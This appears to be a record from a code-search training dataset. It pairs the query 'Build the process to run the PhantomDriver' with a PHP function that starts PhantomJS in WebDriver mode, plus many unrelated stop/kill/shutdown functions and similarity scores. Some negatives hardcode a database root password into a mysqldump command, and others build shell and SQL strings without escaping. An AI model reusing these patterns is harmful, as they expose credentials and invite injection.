"public function terminate()\n {\n $this->logger->debug(MessageFormatter::receivedTerminateSignal('Supervisor'));\n\n foreach ($this->consumerProcesses as $processGroup) {\n $processGroup->sendStopSignal();\n }\n\n foreach ($this->consumerProcesses as $processGroup) {\n $processGroup->stopCompletely();\n }\n\n die();\n }",
"public function stopEsperaSistema() {\n $this->setComando(\"ESPERA:STOP\");\n }",
"public function stop() {\r\n\t\tif (( string ) $this->data->ipaddr == 'dhcp') {\r\n\t\t\t$this->disableDHCP ();\r\n\t\t}\r\n\t\tparent::stop ();\r\n\t}",
"public function stopEngine()\n {\n }",
"public function terminate()\n {\n $this->io->text(\"Shutting down..\");\n // TODO: Dispatch console.terminate event ..maybe..?\n exit();\n }",
"function tearDown()\r\n {\r\n $this->selenium->stop();\r\n }",
"public function stop()\n {\n throw new Stop();\n }",
"public function stop(): void\n {\n $this->end = microtime(true);\n }",
"public function stop() {\n $cmd = sprintf(\"./control.sh stop %s -game %s\", $this->sid, $this->gameId);\n ssh($cmd, $this->host);\n DB::get()->query(\"UPDATE `servers` SET `status` = 0 WHERE `serverID` = '\" . $this->serverId . \"'\");\n }",
"public function stop()\n {/*{{{*/\n $this->_loop = false;\n }",
"private function stop_ATD()\n\t{\n\t\texecuteCommand('killall run-lowmem.sh', '', $result, $return_status);\n\t}",
"public function stop(): bool {}",
"public static function stop(?string $pidFile = null): void\n {\n $pidFile = $pidFile ?? self::getDefaultPidFile();\n\n if (! \\file_exists($pidFile)) {\n throw new RuntimeException('No web server is listening.');\n }\n\n \\unlink($pidFile);\n }",
"public function stop( $args, $assoc_args ) {\n\t\t$this->site_docker_compose_execute( $args[0], 'stop', $args, $assoc_args);\n\t}",
"protected function stopTask() {}",
"public function testStopProcess()\n {\n $command = new SchedulerCommands('unittest');\n\n $exec = $this->getFunctionMock('Martin1982\\LiveBroadcastBundle\\Broadcaster\\Linux', 'exec');\n $exec->expects($this->once())->willReturnCallback(\n function ($command) {\n self::assertEquals('kill 1337', $command);\n }\n );\n\n $command->stopProcess(1337);\n }",
"public function shutdown()\n {\n }",
"public static function stop(Vm $vm);",
"public function __destruct()\n {\n if ($this->handle !== null) {\n $this->processRunner->destroy($this->handle);\n }\n }",
"public function kill();",
"public function stop()\n {\n $this->conversation = null;\n $this->notes = null;\n $this->command = null;\n $this->state = null;\n\n if (file_exists(APP_DIR . '/var/' . $this->id)) {\n unlink(APP_DIR . '/var/' . $this->id);\n }\n\n return true;\n }",
"abstract public function shutdown();",
"public function shutdown()\n {\n }",
"public function JStop() {}",
"public function gearmanWorkerStop()\n {\n for($i = 0; $i < $this->_gearmanForkCount; $i++){\n $this->sub_process_keys[] = $i+1;\n }\n foreach ($this->sub_process_keys as $_sub_key) {\n $shell_cmd = \"ps aux | grep \".$this->_workerFileName. \" |\";\n $shell_cmd .= \"grep -v 'grep' | awk '{print $2}' |\";\n $sub_process_name = $this->_workerFileName.\"_\".$_sub_key;\n $pid_file = $this->_lockDir.$this->_workerFileName.\"_\".$_sub_key.\".pid\";\n $pid_cmd = \"cat $pid_file\";\n $pid = exec($pid_cmd);\n $shell_cmd .= \" grep $pid\";\n echo $shell_cmd.\"\\n\";\n //查看进程是不是存在\n $ps_res = exec($shell_cmd);\n if (empty($ps_res)) {\n echo \"process $sub_process_name is not running!\\n\";\n } else {\n $kill_cmd = \"kill $pid\";\n exec($kill_cmd);\n $this->killed_sub_process_keys[] = $_sub_key;\n echo \"process $sub_process_name is stopped\\n\";\n }\n }\n }",
"function stop()\n{\n global $ipfsutils, $avahi_type, $avahi_port, $staticFile, $urlpath;\n\n // Stop the daemon\n $cmd = $ipfsutils.\" stop \";\n $cmd_res = execute_program($cmd);\n\n // Un-announce the IPFS instance to the community cloud via any of the\n // available methods -including IPFS itself, if enabled-\n $unpub_res = avahi_unpublish($avahi_type, $avahi_port);\n\n $flash_content = txt(t('ipfs_flash_stopping')) . ptxt($cmd_res['output'][0]);\n $flash_content .= txt(t('ipfs_flash_unpublish')) . ptxt($unpub_res);\n\n setFlash($flash_content);\n return(array('type'=>'redirect','url'=>$staticFile.$urlpath));\n}",
"public function stop()\n {\n $this->_timeStopInMicroSeconds = microtime(true);\n }",
"public function kill(): void;",
"public function stop() {\n\t\tforeach ( $this->connections as $id => $conn ) {\n\t\t\tif ($this->connections [$id]->isAlive ())\n\t\t\t\t$this->connections [$id]->stop ();\n\t\t}\n\t\t$this->active = null;\n\t}",
"public static function shutDownEndWatch()\n {\n \\DebugHelper::watcher()->endWatch();\n }",
"protected function killProcess(): void\n {\n if (($pid = $this->getAttribute('pid')) === null) {\n return;\n }\n\n if ($this->systemCommands()->isProcessRunning($pid)) {\n $this->systemCommands()->killProcess($pid);\n }\n }",
"public function stop(): ?int\n {\n assert($this->process !== null);\n\n return $this->process->stop();\n }",
"public function shutdown() {\n\t\t\t//\n\t\t}",
"protected function _after(){\n $this->stopApplication();\n }",
"function stop();",
"public function shutdown()\r\n {\r\n }",
"public function shutdown()\n {\n \n }",
"public function stop()\n {\n if (!$this->isOn) {\n return;\n }\n\n $this->dataset[$this->namespace] = xhprof_disable();\n $this->isOn = false;\n }",
"public function stop() {\n if (!$this->isRunning()) {\n return false;\n }\n\n $this->execute('stop');\n\n return true;\n }",
"public function terminate(Process $process);",
"public static function shutdown() {\r\n if(!self::$instance instanceof Booter) {\r\n throw new \\BadMethodCallException(\"You need to \" . __CLASS__ . \"::boot() before you can call \" . __METHOD__);\r\n }\r\n $instance = self::$instance;\r\n self::$instance = null;\r\n $instance->cleanup();\r\n }",
"protected function case_teardown() {\r\n if ($this->service->is_connected()) {\r\n $this->service->disconnect();\r\n }\r\n }",
"public function onStop();",
"protected function shutdown()\n {\n }"
] | [
"0.71642095",
"0.71452487",
"0.71154046",
"0.68665445",
"0.66543627",
"0.6652433",
"0.65268534",
"0.6502887",
"0.6474318",
"0.6438825",
"0.6430483",
"0.63929373",
"0.6388136",
"0.6388136",
"0.6388136",
"0.6388136",
"0.6388136",
"0.6368318",
"0.6368318",
"0.6368318",
"0.6368318",
"0.6368318",
"0.6368318",
"0.6368318",
"0.6368318",
"0.6348974",
"0.6348109",
"0.6289089",
"0.62853086",
"0.6234176",
"0.6207826",
"0.61786586",
"0.6143422",
"0.6111942",
"0.6079214",
"0.6067296",
"0.60537094",
"0.60089946",
"0.59514207",
"0.59355444",
"0.59097314",
"0.58688104",
"0.5867282",
"0.5851284",
"0.5844318",
"0.5844318",
"0.58417773",
"0.5832231",
"0.5824405",
"0.5817664",
"0.5806469",
"0.579987",
"0.579987",
"0.579987",
"0.579987",
"0.579987",
"0.5785553",
"0.5764951",
"0.5764715",
"0.5760815",
"0.5734629",
"0.5706928",
"0.569299",
"0.56860274",
"0.568536",
"0.5672577",
"0.5668374",
"0.5659754",
"0.5644428",
"0.559042",
"0.5574233",
"0.5550531",
"0.5541091",
"0.552973",
"0.55185866",
"0.5517861",
"0.5505917",
"0.54948777",
"0.54925466",
"0.54838395",
"0.5459485",
"0.54516155",
"0.5438408",
"0.5434976",
"0.54321927",
"0.54316014",
"0.542298",
"0.541084",
"0.54081595",
"0.54006505",
"0.5398609",
"0.53925514",
"0.5392235",
"0.5383602",
"0.5366826",
"0.5353676",
"0.53524977",
"0.5345162",
"0.5340233",
"0.5325429"
] | 0.7979849 | 0 |
Build the process to run the PhantomDriver. | protected static function buildPhantomProcess()
{
return (new ProcessBuilder())
->setPrefix(realpath('/usr/local/bin/phantomjs')) // @todo modular OR fixed in package.
->setArguments(['--webdriver=8910'])
->getProcess();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public static function startPhantomDriver()\n {\n static::$phantomProcess = static::buildPhantomProcess();\n\n static::$phantomProcess->start();\n\n // We wait with execution of the scripts untill we see that the output shows us it's running.\n while( ! str_contains(static::$phantomProcess->getOutput(), 'running on port')){\n sleep(1);\n }\n\n static::afterClass(function () {\n static::stopPhantomDriver();\n });\n }",
"protected function createProcess(): Process\n {\n $command = [\n $this->settings['executable']\n ];\n\n $command[] = $this->from;\n $command[] = $this->to;\n\n // Set the margins if needed.\n if ($this->settings['marginsType'] !== self::MARGIN_TYPE_NO_MARGINS) {\n $command[] = '--marginsType=' . $this->settings['marginsType'];\n }\n\n // If we need to proxy with node we just need to prepend the $command with `node`.\n if ($this->settings['proxyWithNode']) {\n array_unshift($command, 'node');\n }\n\n // If there's no graphical environment we need to prepend the $command with `xvfb-run\n // --auto-servernum`.\n if (! $this->settings['graphicalEnvironment']) {\n array_unshift($command, '--auto-servernum');\n array_unshift($command, 'xvfb-run');\n }\n\n return new Process($command);\n }",
"public function prepare()\n {\n static::startPhantomDriver();\n }",
"private static function createServerProcess(WebServerConfig $config): Process\n {\n $finder = new PhpExecutableFinder();\n\n if (($binary = $finder->find(false)) === false) {\n throw new RuntimeException('Unable to find the PHP binary.');\n }\n\n $xdebugArgs = [];\n\n if ($config->hasXdebug() && \\extension_loaded('xdebug')) {\n $xdebugArgs = ['-dxdebug.profiler_enable_trigger=1'];\n }\n\n $process = new Process(\\array_merge([$binary], $finder->findArguments(), $xdebugArgs, ['-dvariables_order=EGPCS', '-S', $config->getAddress(), $config->getRouter()]));\n $process->setWorkingDirectory($config->getDocumentRoot());\n $process->setTimeout(null);\n\n return $process;\n }",
"protected function run(Process $process) {\n\t}",
"protected function run(Process $process) {\n\t}",
"public function test()\n {\n $process = Process::fromShellCommandline('node print-to-pdf.js');\n $process->setTimeout(30);\n $process->setOptions(['create_new_console' => true]);\n $process->setWorkingDirectory('C:/xampp/htdocs/fms');\n try {\n $process->mustRun();\n echo $process->getOutput();\n } catch (ProcessFailedException $exception) {\n echo $exception->getMessage();\n }\n }",
"public function build()\n { \n $process = new Process(['pio', 'build', '--verbose']);\n\n $process->setWorkingDirectory('/home/albert/Projects/predictionio/SmartShopECommerceRecommendation/');\n\n // $process->run();\n $process->run(null, ['PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/albert/Projects/predictionio/PredictionIO-0.14.0/bin']);\n\n // Executes after the command finishes\n if (!$process->isSuccessful()) {\n \\Log::info(new ProcessFailedException($process));\n\n session()->flash('error', trans('admin::app.predictionio.building_failed') );\n\n return back()->with('status', trans('admin::app.predictionio.building_failed') );\n }\n \n \\Log::info($process->getOutput());\n\n session()->flash('success', trans('admin::app.predictionio.building_successfully_completed'));\n\n return back()->with('status', trans('admin::app.predictionio.building_successfully_completed'));\n }",
"public static function prepare()\n {\n // static::useChromedriver(realpath(__DIR__ . '/../bin/chromedriver'));\n static::startChromeDriver();\n }",
"public static function stopPhantomDriver()\n {\n if (static::$phantomProcess) {\n static::$phantomProcess->stop();\n }\n }",
"public function execute(Process $process);",
"public function exec(): Process;",
"private function getProcess(\n string $binary,\n array $options,\n array $environmentVariables,\n ?array $passthru,\n ?array $passthruPhp,\n string $cwd\n ): Process {\n $finder = new PhpExecutableFinder();\n\n $args = [$finder->find()];\n if ($passthruPhp !== null) {\n $args = array_merge($args, $passthruPhp);\n }\n\n $args = array_merge($args, $this->executableTest->commandArguments($binary, $options, $passthru));\n\n return new Process($args, $cwd, $environmentVariables);\n }",
"protected function run(): void\n {\n if (! $this->settings['graphicalEnvironment']) {\n $this->prepareVirtualFrameBuffer();\n }\n\n $process = $this->createProcess();\n\n try {\n $process->mustRun();\n } catch (ProcessFailedException $exception) {\n throw new GenerationFailed($this->from, $this->to, $process);\n }\n }",
"protected function createProcess(): Process\n {\n // Adding actors and assets is possible, but shouldn't be done. Should throw exception or caught by validation.\n // Note that actors and assets are associative entity sets. Items can be references via the key.\n\n return Process::fromData([\n 'id' => '00000000-0000-0000-0000-000000000000',\n 'actors' => [\n [\n 'key' => 'client',\n 'title' => 'Client',\n 'name' => null,\n ],\n [\n 'key' => 'manager',\n 'title' => 'Manager',\n 'name' => 'Jane Black',\n 'organization' => [\n 'name' => 'Acme Corp',\n ]\n ],\n ],\n 'assets' => [\n [\n 'key' => 'document',\n 'title' => 'Document',\n 'id' => '0001',\n 'content' => 'Foo bar'\n ],\n [\n 'key' => 'attachments',\n 'title' => 'attachments',\n 'urls' => []\n ],\n [\n 'key' => 'data',\n 'I' => 'uno',\n ],\n ],\n 'current' => ['key' => ':initial'],\n ]);\n }",
"protected abstract function executeProcess();",
"public static function prepare()\n {\n // static::startChromeDriver();\n }",
"public static function prepare()\n {\n static::startChromeDriver();\n }",
"public function LaunchInjector()\n {\n if(!empty($this->JOBS)){\n $this->Debug('LOW QUEUE JOBS', $this->JOBS);\n foreach ($this->JOBS as $ID => $JOB) {\n $cmd = '/usr/bin/php '.$this->Injector.' \\''.$ID.'\\' \\''.json_encode($JOB, JSON_NUMERIC_CHECK).'\\'';\n $rslt = array();\n exec($cmd, $rslt);\n if(!empty($rslt))\n $this->ALERTS[] = red.implode(\"\\n\",$rslt).white;\n }\n }\n }",
"protected function setUp(): void\n {\n $publicPath = __DIR__ . '/../../src/Provider/public/';\n\n $this->processRunner = new ProcessRunner('php', ['-S', 'localhost:7202', '-t', $publicPath]);\n\n $this->processRunner->run();\n }",
"public function run()\n {\n \\App\\Models\\Capybara::factory()->create([\n 'name' => 'Colossus'\n ]);\n\n \\App\\Models\\Capybara::factory()->create([\n 'name' => 'Steven'\n ]);\n\n \\App\\Models\\Capybara::factory()->create([\n 'name' => 'Capybaby'\n ]);\n }",
"public function __construct()\n {\n parent::__construct();\n\n $this->process = new Process(sprintf( './opt/lampp/bin/mysqldump -u%s -p%s %s > %s',\n 'root',\n 'Clb__Lyn103185',\n 'akuntansi',\n storage_path(\"backupdb/backupAkuntansi\". Carbon::now()->format('Y-m-d') .'.sql')));\n\n $this->process2 = new Process(sprintf( './opt/lampp/bin/mysqldump -u%s -p%s %s > %s',\n 'root',\n 'Clb__Lyn103185',\n 'd-ger',\n storage_path(\"backupdb/backupDGer\". Carbon::now()->format('Y-m-d') .'.sql')));\n\n /*$this->process2 = new Process(sprintf( 'mysqldump -u%s -p%s %s > %s',\n config('database.connections.mysql.username'),\n config('database.connections.mysql.password'),\n 'd-ger',\n storage_path(\"backupdb/backupdger\". Carbon::now()->format('Y-m-d') . '.sql')));*/\n }",
"static function runProcessor() {\n $process_cmd = get_option('hbo_run_processor_cmd');\n if (substr(php_uname(), 0, 7) != \"Windows\" && false === empty($process_cmd)) {\n $command = \"nohup $process_cmd > /dev/null 2>&1 &\";\n exec( $command );\n }\n }",
"protected function createProcess(array $command, $timeout = null): Process\n {\n $process = new Process($command);\n\n if (null !== $timeout) {\n $process->setTimeout($timeout);\n }\n\n return $process;\n }",
"public static function process() {}",
"public function __construct(Process $process)\n {\n $this->process = $process;\n }",
"protected function createProcessBuilder(array $arguments = [], $timeout = null): ProcessBuilder\n {\n $pb = new ProcessBuilder($arguments);\n if (null !== $timeout) {\n $pb->setTimeout($timeout);\n }\n\n return $pb;\n }",
"private function createProcessInstance($targets, PhingOptions $options)\n {\n $builder = new ProcessBuilder();\n\n $builder->setPrefix($this->options->getPhingBin());\n $builder->setArguments($options->toArgumentsArray());\n\n foreach (explode(' ', $targets) as $target) {\n if (strlen(trim($target))) {\n $builder->add(trim($target));\n }\n }\n\n return $builder->getProcess();\n }",
"private function command(){\n\n // $processAssets->run(function ($type, $buffer) {\n // $this->output->writeln(\n // $buffer\n // );\n // });\n\n $process = new Process(explode(' ', 'php '.$this->params->get('kernel.project_dir').'/bin/console ecommerce:indexservice:bootstrap --create-or-update-index-structure'), null, null, null, 900);\n\n $process->run(function ($type, $buffer) {\n $this->output->writeln(\n $buffer\n );\n });\n\n $process1 = new Process(explode(' ', 'php '.$this->params->get('kernel.project_dir').'/bin/console ecommerce:indexservice:bootstrap --update-index'), null, null, null, 900);\n\n $process1->run(function ($type, $buffer) {\n $this->output->writeln(\n $buffer\n );\n });\n }",
"public function prepare_browser() {\n\t\t$this->setup_hooks();\n\t\t$this->setup_browser();\n\t\t$this->setup_tabs();\n\t\t$this->setup_transients();\n\t}",
"public static function setUpBeforeClass()\n {\n /*\n * First, start the PHP build-in server:\n * php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public\n */\n self::$process = new Process('php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public');\n self::$process->start();\n\n /*\n * Wait for server\n */\n usleep(100000);\n }",
"public function start(): int\n {\n $this->processRunner = new ProcessRunner(Scripts::getMockService(), $this->getArguments());\n\n $processId = $this->processRunner->run();\n\n $result = $this->verifyHealthCheck();\n\n return $processId;\n }",
"public function build($targets = \"\", $options = null, $immediate = true)\n {\n $phingOptions = clone $this->phingOptions;\n\n if ($options !== null) {\n $phingOptions->setFromArray($options);\n }\n\n $process = $this->createProcessInstance($targets, $phingOptions);\n\n if ($immediate) {\n $process->run();\n }\n\n return $process;\n }",
"private function serveStart()\n {\n if (static::$run) {\n return;\n }\n\n static::$run = true;\n\n print \"Running dev/build...\\n\";\n @exec(\"framework/sake dev/build flush=1 > /dev/null 2> /dev/null\");\n\n print \"Finding open port...\\n\";\n\n while (!$this->addressAvailable($this->getHost(), $this->getPort())) {\n $this->setPort($this->getPort() + 1);\n }\n\n if (!$this->running) {\n $host = $this->getHost();\n $port = $this->getPort();\n\n $hash = spl_object_hash($this);\n\n print \"Starting development server...\\n\";\n $command = \"framework/sake dev/tasks/SilverStripe-Serve-Task hash={$hash} host={$host} port={$port} > /dev/null 2> /dev/null &\";\n\n exec($command, $output);\n\n $command = \"ps -o pid,command | grep {$hash}\";\n @exec($command, $output);\n\n if (count($output) > 0) {\n foreach ($output as $line) {\n $parts = explode(\" \", $line);\n $this->pid[] = $parts[0];\n }\n }\n\n sleep(1);\n }\n }",
"public static function create_process($_opts,$_paths) {\r\n\t\t$obj=NULL;\r\n\t\tif ($_opts['rd-active']) {\r\n\t\t\trequire_once(\"class-tpg-rd-process.php\");\r\n\t\t\t$obj = new tpg_rd_process($_opts,$_paths);\r\n\t\t}\r\n\t\t\r\n\t\treturn $obj;\r\n\t}",
"protected static function launchBrowser()\n\t{\n\t\tif (MHTTPD::$config['Other']['browser_autolaunch']) {\n\t\t\t$url = MHTTPD::$config['SSL']['enabled'] ? 'https://' : 'http://';\n\t\t\t$url .= MHTTPD::$config['Server']['address'].':'.MHTTPD::$config['Server']['port'].'/';\n\t\t\t$cmd = 'cmd.exe /C start /B /WAIT PING 127.0.0.1 -n 3 -w 1000 >NUL '\n\t\t\t\t.'& start /B rundll32.exe url.dll,FileProtocolHandler '.$url;\n\t\t\t$wshShell = new COM('WScript.Shell');\n\t\t\t$wshShell->Run($cmd, 0, false);\n\t\t}\n\t}",
"function createProcess($pname) {\n $pid = pcntl_fork();\n\n if ($pid == -1) {\n errorOnProcessLunch();\n }\n else if ($pid === 0) {\n startChildProcess($pname);\n exit(); // Make sure to exit.\n }\n else {\n startParentProcess($pid);\n }\n\n}",
"public function getProcess();",
"public function run()\n {\n prodecyt::factory(50)->create();\n }",
"public function __construct()\n {\n parent::__construct();\n\n $this->process = new Process(sprintf(\n 'mysqldump -u%s -p%s %s > %s',\n env('DB_USERNAME'),\n env('DB_PASSWORD'),\n env('DB_DATABASE'),\n env('DAILY_BACKUP_PATH').'\\backup.sql'\n ));\n }",
"public function getProcess()\n {\n return $this->getProcessBuilder()->getProcess();\n }",
"public static function usePhantomdriver($path)\n {\n static::$phantomDriver = $path;\n }",
"public function runAsProcessReturningProcessObject(string $command) : Process\n {\n $process = new Process($command);\n $process->run();\n $process->setTimeout(null);\n $process->setIdleTimeout(60);\n $process->wait();\n\n return $process;\n }",
"function forkCasper($command){\n\t$bin = env('CASPER_BIN');\n\treturn execBin($bin,$command);\n}",
"public function __construct()\n {\n $descriptor_spec = [\n 0 => ['pipe', 'r'], // stdin is a pipe that the child will read from\n 1 => ['pipe', 'w'], // stdout is a pipe that the child will write to\n ];\n\n $cmd = self::CMD_PERSISTENT;\n if (getenv('GITHUB_ACTION')) {\n $cmd = self::CMD_GITHUB;\n } elseif (getenv('GITLAB_CI')) {\n $cmd = self::CMD_GITLAB;\n }\n\n $this->process = proc_open($cmd, $descriptor_spec, $pipes);\n $data = fread($pipes[1], 1024);\n\n fclose($pipes[1]);\n $this->pipe = $pipes[0];\n\n foreach (explode(',', $data) as $param) {\n if (strpos($param, ':') === false) {\n continue;\n }\n\n list($key, $value) = explode(':', $param);\n $this->connection_params[trim($key)] = trim($value);\n }\n }",
"public function run()\n {\n Page::create([\n 'series_id' => Series::where(['route' => 'walnuts'])->first()->id,\n 'author_id' => User::where(['is_author' => true])->first()->id,\n 'title' => 'About',\n 'content' => 'Yeah, just another test, here...',\n ])->setStatus('public', 'seed data');\n }",
"public function start()\n { \n $process = new Process(['/home/pio/PredictionIO-0.14.0/bin/pio-start-all']);\n\n // $process->setWorkingDirectory('/home/pio/PredictionIO-0.14.0/bin');\n\n $process->run();\n\n // Executes after the command finishes\n if (!$process->isSuccessful()) {\n \\Log::info(new ProcessFailedException($process));\n\n session()->flash('error', 'Failed' );\n\n return back()->with('status', 'Failed' );\n }\n \n \\Log::info($process->getOutput());\n\n session()->flash('success', 'Started');\n\n return back()->with('status', 'Started');\n }",
"protected function generatePdf($view)\r\n {\r\n $this->saveHtml($view);\r\n\r\n $options = implode(' ', $this->commandLineOptions);\r\n\r\n $command = __DIR__ . '/../bin/phantomjs '.$options.' generate-pdf.js '.$this->htmlPath.' '.$this->pdfPath;\r\n\r\n $process = new Process($command, __DIR__);\r\n $process->setTimeout($this->timeout);\r\n $process->run();\r\n\r\n if ($errorOutput = $process->getErrorOutput()) {\r\n throw new RuntimeException('PhantomJS: ' . $errorOutput);\r\n }\r\n }",
"private function runTests(){\n $process = new Process(['./vendor/bin/phpunit --filter '.$this->params['model_name'].'Test']);\n $process->start();\n foreach($process as $type => $data){\n if($process::OUT !== $type){\n $this->error($data);\n continue;\n }\n $this->info($data);\n }\n }",
"public function process() {}",
"public function process() {}",
"public function process() {}",
"public function process() {}",
"abstract protected function configureServerProcess(int $autoShutdownTime = 7): Process;",
"public function callPageRunCmd()\n {\n $script = $this->rootDir . '/excmd/asrorz.php';\n $params = 'cores/page/run --app=' . $this->newName;\n $phpcmd = 'php ' . $script . ' ' . $params;\n Az::debug($phpcmd, 'command to launch: ');\n $r = shell_exec($phpcmd);\n Az::debug($phpcmd, 'command executed: ');\n Az::debug($r, 'command result: ');\n }",
"public static function create(array $arguments = []): ProcessBuilder\n {\n return new ProcessBuilder($arguments);\n }",
"function createRoutineProcess()\n{\n\n $config = json_decode(file_get_contents(\"/app/config.json\"), true);\n\n\n $worker = $config['workers'];\n $nginx = $config['nginx'];\n\n $descriptorspec = array(\n 0 => array(\"pipe\", \"r\"),\n 1 => array(\"pipe\", \"w\"),\n 2 => array(\"file\", \"/tmp/worker_error_routine.txt\", \"a\"),\n );\n\n $cwd = '/tmp';\n\n $command = \"php \" . $config['project_dir'] . $worker['file'] . \" --env=prd --mode=routine\";\n echo $command . PHP_EOL;\n\n $process = proc_open($command, $descriptorspec, $pipes, $cwd);\n \n return array(\n \"process\" => $process,\n \"pipes\" => $pipes,\n \"in_use\" => false,\n );\n}",
"protected function _process() {}",
"protected function _process() {}",
"protected function _process() {}",
"protected function _process() {}",
"public function testCreateProcess () {\n $faker = \\Faker\\Factory::create();\n $process = [\n 'name' => $faker->name,\n 'description' => $faker->text,\n 'code' => $faker->text,\n 'status' => $faker->boolean\n ];\n $response = $this->json('POST', 'api/processes', $process);\n $response->assertStatus(201);\n $response->assertJsonFragment($process);\n }",
"protected function setup_browser() {\n\n\t\t$defaults = array(\n\t\t\t'page_title' => __( 'Browse Products', 'wp-shp-browser' ),\n\t\t\t'remote_info' => '',\n\t\t\t'header_buttons' => false,\n\t\t\t'show_popular' => true,\n\t\t\t'popular_min_rates' => 3,\n\t\t\t'search' => true,\n\t\t\t'vendor' => array(),\n\t\t\t'tabs' => array(),\n\t\t\t'default_tab' => '',\n\t\t\t'filters' => array(\n\t\t\t\t'host' => __( 'Hosted Anywhere', 'wp-shp-browser' ),\n\t\t\t\t'requirements' => __( 'Any Requirements', 'wp-shp-browser' ),\n\t\t\t\t'categories' => __( 'All Categories', 'wp-shp-browser' ),\n\t\t\t\t'authors' => __( 'All Authors', 'wp-shp-browser' ),\n\t\t\t),\n\t\t\t'wp_hosted_args' => array(),\n\t\t\t'menu' => array(),\n\t\t);\n\t\t$this->browser_args = wp_parse_args( $this->browser_args, $defaults );\n\t}",
"public function run()\n {\n // factory(App\\Scanner::class, 10 )->create();\n for ($i=1; $i <= Lineprocess::count() ; $i++) { \n # code...\n $scanner = new Scanner;\n $scanner->line_id = 1;\n $scanner->lineprocess_id = $i; \n $scanner->name = 'Scanner '.$i;\n $scanner->mac_address = '65:C7:85:L9 (temp)';\n $scanner->ip_address = $i; //localhost in ipv6\n $scanner->save();\n }\n }",
"private function createPedestalBasedSite()\n {\n $process = new Process('composer create-project -s dev versionpress/pedestal .', $this->siteConfig->path);\n $process->run();\n\n $this->updateConfigConstant('DB_NAME', $this->siteConfig->dbName);\n $this->updateConfigConstant('DB_USER', $this->siteConfig->dbUser);\n $this->updateConfigConstant('DB_PASSWORD', $this->siteConfig->dbPassword);\n $this->updateConfigConstant('DB_HOST', $this->siteConfig->dbHost);\n $this->updateConfigConstant('WP_HOME', $this->siteConfig->url);\n }",
"function createProcess(int $index)\n{\n\n $config = json_decode(file_get_contents(\"/app/config.json\"), true);\n\n\n $worker = $config['workers'];\n $nginx = $config['nginx'];\n\n $descriptorspec = array(\n 0 => array(\"pipe\", \"r\"),\n 1 => array(\"pipe\", \"w\"),\n 2 => array(\"file\", \"/tmp/worker_error$index.txt\", \"a\"),\n );\n\n $cwd = '/tmp';\n\n unlink($worker['socket_dir'].\"socket_worker\".$index.\"_reactphp.sock\");\n\n $command = \"php \" . $config['project_dir'] . $worker['file'] . \" --env=prd --mode=http --worker $index\";\n echo $command . PHP_EOL;\n\n $process = proc_open($command, $descriptorspec, $pipes, $cwd);\n exec(\"chown -R \" . $nginx['user'] . \": \" . $worker['socket_dir']);\n return array(\n \"process\" => $process,\n \"pipes\" => $pipes,\n \"in_use\" => false,\n );\n}",
"public function run() {\n\n\t\t// Add the admin page.\n\t\t$admin_page = new AdminPage();\n\t\t$admin_page->init();\n\n\t\t// Log frontend visits.\n\t\t$log = new Log();\n\t\t$log->run();\n\n\t\t$cloverly = new PaymentAPICloverly();\n\t\t$cloverly->init();\n\t}",
"private static function proccess()\n {\n $files = ['Process', 'Command', 'Translator', 'Migrations', 'Links', 'Tag', 'Model', 'View', 'Controller', 'Seeds', 'Router', 'Exception', 'Events', 'Alias', 'Middleware', 'Helper', 'Tests', 'Mail', 'Query'];\n $folder = static::$root.'Processes'.'/';\n\n self::call($files, $folder);\n\n $files = ['TranslatorFolderNeededException', 'TranslatorManyFolderException'];\n $folder = static::$root.'Processes/Exceptions'.'/';\n\n self::call($files, $folder);\n }",
"public function run()\n {\n $standardType = PageType::create([\n 'model' => 'PageStandard',\n 'vue_component' => 'PageStandard.vue',\n 'template' => 'Standard',\n ]);\n\n $specialType = PageType::create([\n 'model' => 'PageSpecial',\n 'vue_component' => 'PageSpecial.vue',\n 'template' => 'Special',\n ]);\n\n for ($i = 0; $i <= 4; $i++) {\n if ($i === 0 || $i === 4) {\n ${\"page_\" . $i} = PageSpecial::create(['special_field' => 'special field value ' . $i]);\n }\n else {\n ${\"page_\" . $i} = PageStandard::create(['standard_field' => 'standard field value ' . $i]);\n }\n }\n\n $mainPage = Page::create(['title' => 'Main page']);\n $mainPage->wrap($specialType, $page_0, $node = false);\n\n $childPage1 = Page::create(['title' => 'child page one']);\n $childPage1->wrap($standardType, $page_1, $mainPage);\n $childPage1->appendToNode($mainPage)->save();\n\n $childPage2 = Page::create(['title' => 'child page two']);\n $childPage2->wrap($standardType, $page_2, $mainPage);\n $childPage2->appendToNode($mainPage)->save();\n\n $grandChildPage3 = Page::create(['title' => 'grand child page one']);\n $grandChildPage3->wrap($standardType, $page_3, $childPage1);\n $grandChildPage3->appendToNode($childPage1)->save();\n\n $grandChildPage4 = Page::create(['title' => 'grand child page two']);\n $grandChildPage4->wrap($specialType, $page_4, $childPage2);\n $grandChildPage4->appendToNode($childPage2)->save();\n\n }",
"public function main()\n {\n $msg = '';\n $title = 'Phing';\n\n if ($this->title != '') {\n $title = \"'\" . $this->title . \"'\";\n }\n\n if ($this->msg != '') {\n $msg = \"'\" . $this->msg . \"'\";\n }\n\n $cmd = 'notify-send -i ' . $this->icon . ' ' . $title . ' ' . $msg;\n\n $this->log(sprintf(\"cmd: %s\", $cmd), Project::MSG_DEBUG);\n if (!$this->silent) {\n exec(escapeshellcmd($cmd), $output, $return);\n if ($return !== 0) {\n throw new BuildException(\"Notify task failed.\");\n }\n }\n $this->log(sprintf(\"Title: '%s'\", $title), Project::MSG_DEBUG);\n $this->log(sprintf(\"Message: '%s'\", $msg), Project::MSG_DEBUG);\n $this->log($msg, Project::MSG_INFO);\n }",
"public function Process() {\n\t\tforeach($this->modules as $module) {\n\t\t\t$module->Run();\n\t\t}\n\t}",
"public function build(): ProcessTrace\n {\n return $this->processTrace;\n }",
"public function process( BootstrapState $state ) {\n\t\t$runner = new RunnerInstance();\n\t\t$runner()->init_config();\n\n\t\treturn $state;\n\t}",
"public function processExecutor()\n {\n return $this->processExecutor;\n }",
